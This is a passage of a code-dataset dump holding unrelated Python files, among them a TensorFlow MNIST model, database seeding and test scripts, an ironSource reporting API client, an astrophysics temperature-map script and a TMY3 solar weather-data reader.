WikiSearch():\n from bmtURLTools import soupifyURL\n\n correct = 'no'\n while correct == 'no':\n searchTerm = input(\"What would you like to search?\")\n url = getWikiURL(searchTerm)\n\n WikiSoup = soupifyURL(url)\n\n results = getWikiResults(WikiSoup)\n\n correct = getCorrectResult(searchTerm, results)\n\n return results[int(correct)].find('a')['href']\n\n\ndef getWikiURL(searchTerm):\n return 'http://en.wikipedia.org/w/index.php?title=Special%3ASearch&search=' + \\\n searchTerm.replace(' ','+') + '&fulltext=Search'\n\ndef getWikiResults(WikiSoup):\n return WikiSoup.find_all('div','mw-search-result-heading')\n\ndef getCorrectResult(searchTerm, results):\n resultOptions = printWikiResults(results)\n correct = input(\"title = \" + searchTerm + \"; Are any of these correct? (number or \\\"no\\\")\")\n if correct not in [str(a) for a in resultOptions]+[\"no\"]:\n correct = \"no\"\n return correct\n\ndef printWikiResults(results):\n resultOptions = range(min([10,len(results)]))\n for i in resultOptions:\n print(str(i)+': '+results[i].text)\n return resultOptions","sub_path":"bmt_tools_deprecated/build/lib/bmt_tools/WikiSearch.py","file_name":"WikiSearch.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"181524572","text":"import tensorflow as tf\nimport numpy as np\n\ndef conv2d(x, W):\n \"\"\"conv2d returns a 2d convolution layer with full stride.\"\"\"\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='VALID')\n\ndef max_pool_2x2(x):\n \"\"\"max_pool_2x2 downsamples a feature map by 2X.\"\"\"\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1], padding='SAME')\n\ndef weight_variable(shape,name=''):\n \"\"\"weight_variable generates a weight variable of a given shape.\"\"\"\n initial = tf.random.truncated_normal(shape, stddev=0.1)\n return tf.Variable(initial,name=name)\n\n\ndef bias_variable(shape):\n \"\"\"bias_variable generates a bias variable of a given shape.\"\"\"\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\n\nclass CNN():\n def create_dict(self):\n pass\n def __init__(self):\n self.layers = ['conv1/W_conv1','conv2/W_conv2','fc1/W_fc1','fc2/W_fc2']\n self.x = tf.placeholder(tf.float32, [None, 784],name='x')\n # Define loss and optimizer \n self.y_ = tf.placeholder(tf.float32, [None, 10],name='y')\n with tf.name_scope('reshape'):\n self.x_image = tf.reshape(self.x, [-1, 28, 28, 1],name='x_image')\n with tf.name_scope('conv1'):\n self.W_conv1 = weight_variable([5, 5, 1, 20],'W_conv1')\n b_conv1 = bias_variable([20])\n h_conv1 = tf.nn.relu(conv2d(self.x_image, self.W_conv1) + b_conv1)\n with tf.name_scope('pool1'):\n h_pool1 = max_pool_2x2(h_conv1)\n with tf.name_scope('conv2'):\n self.W_conv2 = weight_variable([5, 5, 20, 50],'W_conv2')\n b_conv2 = bias_variable([50])\n h_conv2 = tf.nn.relu(conv2d(h_pool1, self.W_conv2) + b_conv2)\n with tf.name_scope('pool2'):\n h_pool2 = max_pool_2x2(h_conv2)\n with tf.name_scope('fc1'):\n self.W_fc1 = weight_variable([4 * 4 * 50, 500],'W_fc1')\n b_fc1 = bias_variable([500])\n h_pool2_flat = tf.reshape(h_pool2, [-1, 4*4*50])\n h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, self.W_fc1) + b_fc1)\n with tf.name_scope('dropout'):\n self.keep_prob = tf.placeholder(tf.float32)\n h_fc1_drop = tf.nn.dropout(h_fc1, self.keep_prob)\n with tf.name_scope('fc2'):\n self.W_fc2 = weight_variable([500, 10],'W_fc2')\n b_fc2 = bias_variable([10])\n self.logits = tf.add(tf.matmul(h_fc1_drop, self.W_fc2),b_fc2,name='logits')\n cross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels=self.y_,\n logits=self.logits)\n self.cross_entropy = tf.reduce_mean(cross_entropy,name='entropy_loss')\ndef create_model():\n return CNN()\n","sub_path":"tensorflow-mnist-code/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"111126051","text":"from bot_backend.models import *\nfrom datetime import date\nimport os\n\nimport json\n\n\ndef resetDB():\n db.drop_all()\n db.create_all()\n\n\ndef createSmallExample():\n blodtryck = Measurement(name=\"Blodtryck\")\n vikt = Measurement(name=\"Vikt\")\n halsoformular = Measurement(name=\"Hälsoformulär\")\n\n db.session.add_all([blodtryck,\n vikt,\n halsoformular])\n db.session.commit()\n\n u1 = User(ehr_id='8d27c6c1-0811-4077-bb68-d9759c914cd0')\n u2 = User(ehr_id='5b7610b9-c0b8-44aa-aeff-3f8783a437d9')\n u3 = User(ehr_id='b8f24115-58f9-4d1b-aab4-06fa5e5fad3d')\n\n db.session.add_all([u1, u2, u3])\n db.session.commit()\n\n um1 = UserMeasurement(user_id=u1.ehr_id, measurement_id=blodtryck.id,\n next_measurement=date.today(), interval_days=1)\n um2 = UserMeasurement(user_id=u1.ehr_id, measurement_id=vikt.id,\n next_measurement=date.today(), interval_days=1)\n um3 = UserMeasurement(user_id=u1.ehr_id, measurement_id=halsoformular.id,\n next_measurement=date.today(), interval_days=1)\n um4 = UserMeasurement(user_id=u2.ehr_id, measurement_id=blodtryck.id,\n next_measurement=date.today(), interval_days=7)\n um5 = UserMeasurement(user_id=u3.ehr_id, measurement_id=vikt.id,\n next_measurement=date.today(), interval_days=30)\n\n db.session.add_all([um1, um2, um3, um4])\n db.session.commit()\n\n f = open(\"FormHealth.txt\", 'r')\n form = f.read()\n if (os.name == \"nt\"):\n form = form.encode('cp1252').decode('utf-8')\n m = json.loads(form)\n mf = MeasurementForm(name=\"Hälsoformulär\", form=json.dumps(m))\n\n\n db.session.add(mf)\n db.session.commit()\n\n halsoformular.form = mf.id\n db.session.commit()\n\n rm = RegisteredMeasurement(\n user=User.query.get('8d27c6c1-0811-4077-bb68-d9759c914cd0').ehr_id,\n form = mf.id,\n date = date.today(),\n answers = json.dumps(json.loads('[1,2,3,4,5,1,2,3,4,5]'))\n )\n db.session.add(rm)\n db.session.commit()\n","sub_path":"backend/bot_backend/databasemgmt.py","file_name":"databasemgmt.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"540213684","text":"from . import TestCase, setup_fixtures\nfrom apps.surveys19.models import Survey, ShortTermHire, WorkType, Month\n\n\nclass ShortTermHireTestCase(TestCase):\n @classmethod\n def setUpTestData(cls):\n # load fixtures\n setup_fixtures()\n\n def test_create_shorttermhire(self):\n survey_id = Survey.objects.get(id=3)\n work_type_code_a = WorkType.objects.get(id=5)\n work_type_code_b = WorkType.objects.get(id=4)\n month = Month.objects.get(id=4)\n\n shorttermhire_list_before_size = len(ShortTermHire.objects.all())\n\n # new value\n ShortTermHire.objects.create(survey=survey_id, avg_work_day=20, month=month)\n new_shorttermhire = ShortTermHire.objects.get(survey=survey_id)\n new_shorttermhire.work_types.add(work_type_code_a, work_type_code_b)\n new_shorttermhire.save()\n\n shorttermhire_list_after_size = len(ShortTermHire.objects.all())\n self.assertEqual(\n shorttermhire_list_after_size, shorttermhire_list_before_size + 1\n )\n\n def test_survey_delete(self):\n Survey.objects.filter(id=1).delete()\n shorttermhire_list = ShortTermHire.objects.filter(survey=1)\n self.assertEqual(shorttermhire_list.count(), 0)\n\n def test_survey_delete_all(self):\n month_list_before_size = len(Month.objects.all())\n Survey.objects.all().delete()\n shorttermhire_list = ShortTermHire.objects.all()\n month_list_after_size = len(Month.objects.all())\n\n self.assertEqual(len(shorttermhire_list), 0)\n self.assertEqual(month_list_before_size, month_list_after_size)\n","sub_path":"src/apps/surveys19/tests/test_shorttermhire.py","file_name":"test_shorttermhire.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"93810170","text":"import pyttsx3\r\n\r\ntry:\r\n from PIL import Image\r\nexcept ImportError:\r\n import Image\r\n\t\r\nimport pytesseract\r\n\r\n\r\nengine = pyttsx3.init('sapi5')\r\nvoices = engine.getProperty('voices')\r\nengine.setProperty('voice', voices[0].id)\r\n\r\n\r\n\r\ndef speak(audio):\r\n engine.say(audio)\r\n engine.runAndWait()\r\n\t\r\ndef ocr_core(filename):\r\n \"\"\"\r\n This function will handle the core OCR processing of images.\r\n \"\"\"\r\n text = pytesseract.image_to_string(Image.open(filename)) # We'll use Pillow's Image class to open the image and pytesseract to detect the string in the image\r\n return text\r\n\r\ntxt = ocr_core('tex1.png')\r\nprint(txt)\r\nspeak(txt)\t\r\n#speak(\"Good Morning!\")\r\n","sub_path":"mitesseract.py","file_name":"mitesseract.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"634380221","text":"import dataiku\nimport constants\nfrom dataikuapi.utils import DataikuException\nimport os\nfrom threading import Thread\nfrom werkzeug.serving import make_server\nfrom tensorflow import logging\nfrom tensorboard.backend import application\nimport tensorboard.default as tb_default\n\nclass TensorboardThread(Thread):\n\n def __init__(self, folder_name, host=\"127.0.0.1\", verbosity=logging.WARN):\n Thread.__init__(self)\n self.project_key = os.environ[\"DKU_CURRENT_PROJECT_KEY\"]\n self.folder_name = folder_name\n self.client = dataiku.api_client()\n\n logging.set_verbosity(verbosity)\n\n # Getting app\n logs_path = self.__get_logs_path()\n app = self.__get_tb_app(logs_path)\n\n # Setting server\n self.srv = make_server(host, 0, app)\n\n def get_port(self):\n return self.srv.server_port\n\n def __get_logs_path(self):\n # Retrieve model managed-folder path\n folder_found = False\n project = self.client.get_project(self.project_key)\n for folder in project.list_managed_folders():\n if self.folder_name == folder['name']:\n folder_path = dataiku.Folder(folder['id'], project_key=self.project_key).get_path()\n folder_found = True\n break\n\n if not folder_found:\n raise DataikuException(\"The folder '{}' (in project '{}' cannot be found\".format(self.folder_name, self.project_key))\n\n log_path = os.path.join(folder_path, constants.TENSORBOARD_LOGS)\n return log_path\n\n def __get_tb_app(self, tensorboard_logs):\n return application.standard_tensorboard_wsgi(\n logdir=tensorboard_logs,\n assets_zip_provider=tb_default.get_assets_zip_provider(),\n purge_orphaned_data=True,\n reload_interval=5,\n plugins=tb_default.get_plugins())\n\n def run(self):\n print(\"Launching tensorboard :\")\n print(\"Your tensorboard dashboard will be accessible on http://:{}\".format(self.get_port()))\n self.srv.serve_forever()\n\n def stop(self):\n print(\"Stopping tensorboard process\")\n self.srv.shutdown()\n\n\n\n\n\n","sub_path":"deeplearning-image-gpu/python-lib/tensorboard_handle.py","file_name":"tensorboard_handle.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"308118842","text":"import requests\nimport json\nfrom datetime import datetime, timedelta\n\ndef get_bearer_token(secretkey, refreshtoken):\n \"\"\"https://developers.ironsrc.com/ironsource-mobile/air/authentication/#step-1\"\"\"\n url = 'https://platform.ironsrc.com/partners/publisher/auth'\n headers = {'secretkey': secretkey,\n 'refreshToken': refreshtoken}\n\n response = requests.get(url, headers=headers)\n #print(response.text)\n return response.text\n\ndef _rows_to_json_file(rows, filename):\n with open(filename, 'w') as f:\n for row in rows:\n json.dump(row, f, default=str)\n f.write('\\n')\n return filename\n\n\ndef get_ironsrc_metrics(token_, start_date, end_date):\n \"\"\"\n docs: https://developers.ironsrc.com/ironsource-mobile/general/reporting-api-v2/#step-2\n token: bearer token\n start_date: iso date string eg \"2010-10-30\"\n end_date: same as start date\n :return data in list of json\"\"\"\n\n #impressions, clicks, completions, installs, spend\n #day, campaign, title, application, country, os, deviceType, creative, adUnit\n\n url_request = f\"\"\"https://api.ironsrc.com/advertisers/v2/reports?\\\nbreakdowns=day,campaign,title,application,country,os,deviceType,creative,adUnit\\\n&metrics=impressions,clicks,completions,installs,spend\\\n&format=json\\\n&startDate={start_date}\\\n&endDate={end_date}\"\"\"\n headers = {'Authorization': 'Bearer ' + token_.replace('\"', '')}\n\n all_data = []\n print(url_request)\n #request the url above, and if there is a next page url, keep requesting\n while url_request:\n\n resp = requests.get(url_request, headers=headers)\n json_response = json.loads(resp.text.encode('utf8'))\n #print(json_response)\n #save data slice to out bucket\n data = json_response.get('data')\n if data:\n all_data += data\n\n #get the next link if available\n next_page_link = json_response.get('paging', {}).get('next')\n url_request = next_page_link\n print(url_request)\n\n #print(resp, resp.text)\n #print(urls)\n return all_data\n\ndef get_ironsrc_metrics_file(secretkey, refreshtoken, start_date, end_date):\n #get auth token\n token = get_bearer_token(secretkey, refreshtoken)\n\n data = get_ironsrc_metrics(token, start_date, end_date)\n\n filename =_rows_to_json_file(data, 'metrics.json')\n return filename\n\n\n\nif __name__ == \"__main__\":\n import os\n secretkey = os.environ.get('sc1')\n refreshtoken = os.environ.get('sc2')\n\n metrics = get_ironsrc_metrics(token, '2020-10-30', '2020-10-30')\n #print(metrics.encode('utf-8'))\n print('rows:',len(metrics))\n\n fn = _rows_to_json_file(metrics, 'test.json')\n print(fn)\n #for row in metrics:\n #print(json.dumps(row))\n #do loading logic\n #print(filename)\n","sub_path":"scripts/gaming/ironsource/metrics/ironsource_metrics_download.py","file_name":"ironsource_metrics_download.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"428471452","text":"#!/usr/bin/env python3.7\n\nimport argparse\nimport os\nimport sys\nimport jsonlines\n\nfrom metrics.running_average import running_average\n\n\ndef valid_input_file(f):\n \"\"\"\n Checks if a given file path leads to a valid file or to STDIN.\n In case a file path is passed, we will check if it is valid and readable and return it.\n In case '-' is passed, we will return STDIN.\n If a file path is passed, remember to close the file descriptor after you are done with it.\n\n :param f: the file path to check, or '-' for STDIN.\n :return: a file stream (opened file) that can be either for a file or STDIN\n \"\"\"\n if f == '-':\n return sys.stdin\n else:\n # a valid input file is a file that exists and is readable\n if not (os.path.isfile(f) and os.access(f, os.R_OK)):\n raise argparse.ArgumentTypeError(\"Cannot access this file! Are you sure it exists \\\n and you have read permission?\")\n else:\n return open(f)\n\n\ndef do_main():\n \"\"\"\n Will parse arguments and start all the metrics calculations.\n \"\"\"\n parser = argparse.ArgumentParser(description='Unbabel translation metrics stream parsing CLI.')\n parser.add_argument('--input_file', type=valid_input_file, required=True,\n help='the JSON file containing the data related to the translations to process \\\n or - if you want the tool to read directly from the standard input.')\n parser.add_argument('--window_size', type=int, required=True,\n help='the window size (in minutes) for the translations to average.')\n args = parser.parse_args()\n\n # use jsonlines to create a stream of JSON objects from a text stream\n json_stream = jsonlines.Reader(args.input_file)\n\n # metrics calculations here, we're only doing running averages for now\n running_average(json_stream, args.window_size)\n\n # If we have a file opened that is not stdin, we should close it\n if args.input_file is not sys.stdin:\n args.input_file.close()\n\n\nif __name__ == \"__main__\":\n do_main()\n","sub_path":"metrics_cli.py","file_name":"metrics_cli.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"354196161","text":"import json\n\ndata = {\n 'no': 1,\n 'name': 'Runoob',\n 'url': 'http://www.runoob.com'\n}\n\njson_str = json.dumps(data)\n\nprint('Python原始数据: ', repr(data))\nprint('JSON对象: ', json_str)\n\ndata2 = json.loads(json_str)\nprint(\"data2['name']\", data2['name'])\nprint(\"data2['url']\", data2['url'])","sub_path":"python/practice/06_json_xml/01_json_dumps.py","file_name":"01_json_dumps.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"646734933","text":"\"\"\"\nCreates a temperature map of the snapshot that is provided\nand saves it as temperature_map.png.\n\"\"\"\n\nimport sys\nimport h5py\n\nfrom swiftsimio import load\nfrom swiftsimio.visualisation import scatter\nfrom swiftsimio.visualisation.projection import kernel_gamma\n\nfrom matplotlib.pyplot import imsave\nfrom matplotlib.colors import LogNorm\n\nfrom tqdm import tqdm\n\nimport numpy as np\n\nresolution = 2048\n\nsnapshot = sys.argv[1]\nn_files = int(sys.argv[2])\n\ntry:\n output_filename = sys.argv[3]\nexcept IndexError:\n output_filename = \"temperature_map_eagle.png\"\n\n\ndef load_data(filename: str, n_files: int, to_read: str):\n \"\"\"\n Loads the data from snapshots made of multiple files.\n \"\"\"\n\n output = []\n\n for file in tqdm(range(n_files), desc=f\"Reading {to_read}\"):\n current_filename = f\"{filename}.{file}.hdf5\"\n\n with h5py.File(current_filename, \"r\") as handle:\n output.append(handle[to_read][...])\n\n return np.concatenate(output)\n\n\nwith h5py.File(f\"{snapshot}.0.hdf5\", \"r\") as handle:\n boxsize = handle[\"Header\"].attrs[\"BoxSize\"]\n\nx, y, _ = load_data(snapshot, n_files, \"PartType0/Coordinates\").T / boxsize\nhsml = load_data(snapshot, n_files, \"PartType0/SmoothingLength\") / (\n kernel_gamma * boxsize\n)\ntemp = load_data(snapshot, n_files, \"PartType0/Temperature\")\n\n# We need to construct sum(T_j W_ij) / sum(W_ij)\nnorm_grid = scatter(x, y, np.ones_like(temp), hsml, resolution)\ntemp_grid = scatter(x, y, temp, hsml, resolution)\n\n# Imsave does not take a norm\nnormalized_grid = LogNorm(vmin=1e2, vmax=1e8)(temp_grid / norm_grid)\n\nimsave(output_filename, normalized_grid, cmap=\"twilight\")\n","sub_path":"temperature_map/temperature_map_eagle.py","file_name":"temperature_map_eagle.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"289355736","text":"\"\"\"\nImport TMY2 and TMY3 data.\n\"\"\"\n\nimport logging\npvl_logger = logging.getLogger('pvlib')\n\nimport pdb\nimport re\nimport datetime\nimport dateutil\nimport csv \n\nimport pandas as pd\nimport numpy as np\n\nfrom . import pvl_tools\n\n\n\ndef readtmy3(filename=None):\n '''\n Read a TMY3 file in to a pandas dataframe\n\n Read a TMY3 file and make a pandas dataframe of the data. Note that values\n contained in the struct are unchanged from the TMY3 file (i.e. units \n are retained). In the case of any discrepencies between this\n documentation and the TMY3 User's Manual ([1]), the TMY3 User's Manual\n takes precedence.\n\n If a filename is not provided, the user will be prompted to browse to\n an appropriate TMY3 file.\n\n Parameters\n ----------\n\n filename : string \n An optional argument which allows the user to select which\n TMY3 format file should be read. A file path may also be necessary if\n the desired TMY3 file is not in the MATLAB working path.\n\n Returns\n -------\n\n TMYDATA : DataFrame\n\n A pandas dataframe, is provided with the components in the table below. Note\n that for more detailed descriptions of each component, please consult\n the TMY3 User's Manual ([1]), especially tables 1-1 through 1-6. \n\n meta : struct\n struct of meta data is created, which contains all \n site metadata available in the file\n\n Notes\n -----\n\n =============== ====== =================== \n meta field format description\n =============== ====== =================== \n meta.altitude Float site elevation\n meta.latitude Float site latitudeitude\n meta.longitude Float site longitudeitude\n meta.Name String site name\n meta.State String state\n meta.TZ Float timezone\n meta.USAF Int USAF identifier\n =============== ====== =================== \n\n ============================= ======================================================================================================================================================\n TMYData field description\n ============================= ======================================================================================================================================================\n TMYData.Index A pandas datetime index. NOTE, the index is currently timezone unaware, and times are set to local standard time (daylight savings is not indcluded)\n TMYData.ETR Extraterrestrial horizontal radiation recv'd during 60 minutes prior to timestamp, Wh/m^2\n TMYData.ETRN Extraterrestrial normal radiation recv'd during 60 minutes prior to timestamp, Wh/m^2\n TMYData.GHI Direct and diffuse horizontal radiation recv'd during 60 minutes prior to timestamp, Wh/m^2\n TMYData.GHISource See [1], Table 1-4\n TMYData.GHIUncertainty Uncertainty based on random and bias error estimates see [2]\n TMYData.DNI Amount of direct normal radiation (modeled) recv'd during 60 mintues prior to timestamp, Wh/m^2\n TMYData.DNISource See [1], Table 1-4\n TMYData.DNIUncertainty Uncertainty based on random and bias error estimates see [2]\n TMYData.DHI Amount of diffuse horizontal radiation recv'd during 60 minutes prior to timestamp, Wh/m^2\n TMYData.DHISource See [1], Table 1-4\n TMYData.DHIUncertainty Uncertainty based on random and bias error estimates see [2]\n TMYData.GHillum Avg. total horizontal illuminance recv'd during the 60 minutes prior to timestamp, lx\n TMYData.GHillumSource See [1], Table 1-4\n TMYData.GHillumUncertainty Uncertainty based on random and bias error estimates see [2]\n TMYData.DNillum Avg. direct normal illuminance recv'd during the 60 minutes prior to timestamp, lx\n TMYData.DNillumSource See [1], Table 1-4\n TMYData.DNillumUncertainty Uncertainty based on random and bias error estimates see [2]\n TMYData.DHillum Avg. horizontal diffuse illuminance recv'd during the 60 minutes prior to timestamp, lx\n TMYData.DHillumSource See [1], Table 1-4\n TMYData.DHillumUncertainty Uncertainty based on random and bias error estimates see [2]\n TMYData.Zenithlum Avg. luminance at the sky's zenith during the 60 minutes prior to timestamp, cd/m^2\n TMYData.ZenithlumSource See [1], Table 1-4\n TMYData.ZenithlumUncertainty Uncertainty based on random and bias error estimates see [1] section 2.10\n TMYData.TotCld Amount of sky dome covered by clouds or obscuring phenonema at time stamp, tenths of sky\n TMYData.TotCldSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.TotCldUnertainty See [1], Table 1-6\n TMYData.OpqCld Amount of sky dome covered by clouds or obscuring phenonema that prevent observing the sky at time stamp, tenths of sky\n TMYData.OpqCldSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.OpqCldUncertainty See [1], Table 1-6\n TMYData.DryBulb Dry bulb temperature at the time indicated, deg C\n TMYData.DryBulbSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.DryBulbUncertainty See [1], Table 1-6\n TMYData.DewPoint Dew-point temperature at the time indicated, deg C\n TMYData.DewPointSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.DewPointUncertainty See [1], Table 1-6\n TMYData.RHum Relatitudeive humidity at the time indicated, percent\n TMYData.RHumSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.RHumUncertainty See [1], Table 1-6\n TMYData.Pressure Station pressure at the time indicated, 1 mbar\n TMYData.PressureSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.PressureUncertainty See [1], Table 1-6\n TMYData.Wdir Wind direction at time indicated, degrees from north (360 = north; 0 = undefined,calm) \n TMYData.WdirSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.WdirUncertainty See [1], Table 1-6\n TMYData.Wspd Wind speed at the time indicated, meter/second\n TMYData.WspdSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.WspdUncertainty See [1], Table 1-6\n TMYData.Hvis Distance to discernable remote objects at time indicated (7777=unlimited), meter\n TMYData.HvisSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.HvisUncertainty See [1], Table 1-6\n TMYData.CeilHgt Height of cloud base above local terrain (7777=unlimited), meter\n TMYData.CeilHgtSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.CeilHgtUncertainty See [1], Table 1-6\n TMYData.Pwat Total precipitable water contained in a column of unit cross section from earth to top of atmosphere, cm\n TMYData.PwatSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.PwatUncertainty See [1], Table 1-6\n TMYData.AOD The broadband aerosol optical depth per unit of air mass due to extinction by aerosol component of atmosphere, unitless\n TMYData.AODSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.AODUncertainty See [1], Table 1-6\n TMYData.Alb The ratio of reflected solar irradiance to global horizontal irradiance, unitless\n TMYData.AlbSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.AlbUncertainty See [1], Table 1-6\n TMYData.Lprecipdepth The amount of liquid precipitation observed at indicated time for the period indicated in the liquid precipitation quantity field, millimeter\n TMYData.Lprecipquantity The period of accumulatitudeion for the liquid precipitation depth field, hour\n TMYData.LprecipSource See [1], Table 1-5, 8760x1 cell array of strings\n TMYData.LprecipUncertainty See [1], Table 1-6\n ============================= ====================================================================================================================================================== \n\n References\n ----------\n\n [1] Wilcox, S and Marion, W. \"Users Manual for TMY3 Data Sets\".\n NREL/TP-581-43156, Revised May 2008.\n\n [2] Wilcox, S. (2007). National Solar Radiation Database 1991 2005 \n Update: Users Manual. 472 pp.; NREL Report No. TP-581-41364.\n\n See also\n ---------\n\n pvl_makelocationstruct\n pvl_readtmy2\n\n '''\n \n if filename is None: \t\t\t\t\t#If no filename is input\n try:\n filename = interactive_load()\n except:\n raise Exception('Interactive load failed. Tkinter not supported on this system. Try installing X-Quartz and reloading')\n\n head = ['USAF','Name','State','TZ','latitude','longitude','altitude']\n headerfile = open(filename,'r')\n meta = dict(zip(head,headerfile.readline().rstrip('\\n').split(\",\"))) #Read in file metadata\n meta['altitude'] = float(meta['altitude'])\n meta['latitude'] = float(meta['latitude'])\n meta['longitude'] = float(meta['longitude'])\n meta['TZ'] = float(meta['TZ'])\n meta['USAF'] = int(meta['USAF'])\n\n TMYData = pd.read_csv(filename, header=1,\n parse_dates={'datetime':['Date (MM/DD/YYYY)','Time (HH:MM)']},\n date_parser=parsedate, index_col='datetime')\n\n TMYData = recolumn(TMYData) #rename to standard column names\n\n TMYData = TMYData.tz_localize(int(meta['TZ']*3600))\n\n return TMYData, meta\n\n\n\ndef interactive_load():\n import Tkinter \n from tkFileDialog import askopenfilename\n Tkinter.Tk().withdraw() #Start interactive file input\n return askopenfilename() \n\n\n\ndef parsedate(ymd, hour):\n # stupidly complicated due to TMY3's usage of hour 24\n # and dateutil's inability to handle that. \n offset_hour = int(hour[:2]) - 1\n offset_datetime = '{} {}:00'.format(ymd, offset_hour)\n offset_date = dateutil.parser.parse(offset_datetime)\n true_date = offset_date + dateutil.relativedelta.relativedelta(hours=1)\n return true_date\n\n\n\ndef parsetz(UTC):\n #currently not used, need to make these daylight savings unaware\n TZinfo = {-5:'EST',\n -6:'CST',\n -7:'MST',\n -8:'PST',\n -9:'AKST',\n -10:'HAST'}\n return TZinfo[UTC]\n\n\n\ndef recolumn(TMY3):\n TMY3.columns = ('ETR','ETRN','GHI','GHISource','GHIUncertainty',\n 'DNI','DNISource','DNIUncertainty','DHI','DHISource','DHIUncertainty',\n 'GHillum','GHillumSource','GHillumUncertainty','DNillum','DNillumSource',\n 'DNillumUncertainty','DHillum','DHillumSource','DHillumUncertainty',\n 'Zenithlum','ZenithlumSource','ZenithlumUncertainty','TotCld','TotCldSource',\n 'TotCldUnertainty','OpqCld','OpqCldSource','OpqCldUncertainty','DryBulb',\n 'DryBulbSource','DryBulbUncertainty','DewPoint','DewPointSource',\n 'DewPointUncertainty','RHum','RHumSource','RHumUncertainty','Pressure',\n 'PressureSource','PressureUncertainty','Wdir','WdirSource','WdirUncertainty',\n 'Wspd','WspdSource','WspdUncertainty','Hvis','HvisSource','HvisUncertainty',\n 'CeilHgt','CeilHgtSource','CeilHgtUncertainty','Pwat','PwatSource',\n 'PwatUncertainty','AOD','AODSource','AODUncertainty','Alb','AlbSource',\n 'AlbUncertainty','Lprecipdepth','Lprecipquantity','LprecipSource',\n 'LprecipUncertainty') \n\n return TMY3\n \n \n \n#########################\n#\n# TMY2 below\n#\n#########################\n\n\n\ndef readtmy2(filename):\n '''\n Read a TMY2 file in to a DataFrame\n\n Note that valuescontained in the DataFrame are unchanged from the TMY2 \n file (i.e. units are retained). Time/Date and Location data imported from the \n TMY2 file have been modified to a \"friendlier\" form conforming to modern\n conventions (e.g. N latitude is postive, E longitude is positive, the\n \"24th\" hour of any day is technically the \"0th\" hour of the next day).\n In the case of any discrepencies between this documentation and the \n TMY2 User's Manual ([1]), the TMY2 User's Manual takes precedence.\n\n If a filename is not provided, the user will be prompted to browse to\n an appropriate TMY2 file.\n\n Parameters\n ----------\n filename : string\n\n an optional argument which allows the user to select which\n TMY2 format file should be read. A file path may also be necessary if\n the desired TMY2 file is not in the working path. If filename\n is not provided, the user will be prompted to browse to an\n appropriate TMY2 file.\n\n Returns\n -------\n\n TMYData : DataFrame \n\n A dataframe, is provided with the following components. Note\n that for more detailed descriptions of each component, please consult\n the TMY2 User's Manual ([1]), especially tables 3-1 through 3-6, and \n Appendix B. \n\n meta : struct\n\n A struct containing the metadata from the TMY2 file.\n\n Notes\n -----\n\n The structures have the following fields\n\n ============================ ============================================================ \n meta Field\n ============================ ============================================================\n meta.SiteID Site identifier code (WBAN number), scalar unsigned integer\n meta.StationName Station name, 1x1 cell string\n meta.StationState Station state 2 letter designator, 1x1 cell string\n meta.SiteTimeZone Hours from Greenwich, scalar double\n meta.latitude Latitude in decimal degrees, scalar double\n meta.longitude Longitude in decimal degrees, scalar double\n meta.SiteElevation Site elevation in meters, scalar double\n ============================ ============================================================\n\n ============================ ==========================================================================================================================================================================\n TMYData Field Meaning\n ============================ ==========================================================================================================================================================================\n index Pandas timeseries object containing timestamps\n year \n month \n day \n hour\n ETR Extraterrestrial horizontal radiation recv'd during 60 minutes prior to timestamp, Wh/m^2\n ETRN Extraterrestrial normal radiation recv'd during 60 minutes prior to timestamp, Wh/m^2\n GHI Direct and diffuse horizontal radiation recv'd during 60 minutes prior to timestamp, Wh/m^2\n GHISource See [1], Table 3-3\n GHIUncertainty See [1], Table 3-4\n DNI Amount of direct normal radiation (modeled) recv'd during 60 mintues prior to timestamp, Wh/m^2\n DNISource See [1], Table 3-3\n DNIUncertainty See [1], Table 3-4\n DHI Amount of diffuse horizontal radiation recv'd during 60 minutes prior to timestamp, Wh/m^2\n DHISource See [1], Table 3-3\n DHIUncertainty See [1], Table 3-4\n GHillum Avg. total horizontal illuminance recv'd during the 60 minutes prior to timestamp, units of 100 lux (e.g. value of 50 = 5000 lux)\n GHillumSource See [1], Table 3-3\n GHillumUncertainty See [1], Table 3-4\n DNillum Avg. direct normal illuminance recv'd during the 60 minutes prior to timestamp, units of 100 lux\n DNillumSource See 